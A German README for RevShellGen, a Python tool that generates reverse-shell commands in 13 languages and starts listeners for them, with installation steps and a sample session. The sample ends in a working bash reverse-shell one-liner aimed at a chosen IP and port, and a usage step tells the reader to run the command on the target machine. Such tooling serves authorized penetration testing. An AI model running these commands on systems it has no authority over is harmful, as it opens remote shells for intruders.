
Reverse-Shell-Generator geschrieben in Python 3.
Reverse-Shell-Generator
Automatisierte Reverse-Shell-Erstellung mit Stil
Reverse Shells generieren, codieren und abfangen – ganz ohne Aufwand
Funktionen • Installation • Nutzung • Shell-Typen • Mitwirken
RevShellGen ist ein leistungsstarkes Kommandozeilen-Tool, das den Prozess der Generierung von Reverse-Shell-Befehlen vereinfacht. Kein lästiges Nachschlagen von Syntax, kein manuelles Codieren, keine Konfigurationskopfschmerzen mehr. Dieses Tool erledigt alles mit einer intuitiven Oberfläche.
# Installation von PyPI
pip install revshellgen
# Tool ausführen
revshellgen
# Repository klonen
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Abhängigkeiten installieren
pip3 install -r requirements.txt
# Tool ausführen
python3 revshellgen.py # oder python3 revshellgen_cli.py
RevShellGen benötigt die folgenden Python-Pakete:
| Paket | Zweck |
|---|---|
pyperclip | Zwischenablage-Operationen |
colorama | Terminalfarben |
readchar | Interaktive Tastatureingabe |
netifaces | Netzwerkschnittstellenerkennung |
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Möglicherweise muss python3-dev installiert werden
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installieren Sie ncat für bessere Listener-Unterstützung
brew install nmap # Enthält ncat
Tool starten
python3 revshellgen.py
Reverse Shell konfigurieren
Generierter Befehl wird automatisch in die Zwischenablage kopiert
Listener starten (automatisch)
Befehl auf dem Zielrechner ausführen
![]() Shell-Auswahl |
![]() Befehlsgenerierung |
| Shell-Typ | Beschreibung | Plattform |
|---|---|---|
| Bash | Bash TCP Reverse Shell | Linux/Unix |
| Python | Python-basierte Reverse Shell | Plattformübergreifend |
| Netcat | Traditionelle nc Reverse Shell | Linux/Unix |
| Netcat mkfifo | Netcat mit Named Pipe | Linux/Unix |
| Perl | Perl-basierte Reverse Shell | Plattformübergreifend |
| PHP | PHP Reverse Shell | Plattformübergreifend |
| Ruby | Ruby-basierte Reverse Shell | Plattformübergreifend |
| Java | Java Reverse Shell | Plattformübergreifend |
| AWK | AWK Reverse Shell | Linux/Unix |
| Socat | Socat Reverse Shell | Linux/Unix |
| Socat TTY | Socat mit vollem TTY | Linux/Unix |
| Telnet | Telnet Reverse Shell | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen enthält jetzt umfassende TTY-Upgrade-Anleitungen. Nach dem Abfangen einer Shell bietet das Tool:
Das Tool erkennt automatisch die passende Netcat-Variante und verwendet sie:
ncat (bevorzugt, aus dem nmap-Paket)nc (traditionelles Netcat)nc-Syntax-Unterstützung$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ IP AUSWÄHLEN ] ----------
[ x ] 192.168.1.10 auf eth0
[ ] 10.0.0.5 auf tun0
[ ] Manuell eingeben
---------- [ PORT ANGEBEN ] ----------
[ # ] Portnummer eingeben : 4444
---------- [ BEFEHL AUSWÄHLEN ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ REVERSE-SHELL-BEFEHL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Befehl in die Zwischenablage kopiert!
[ + ] Listener auf Port 4444 wird gestartet...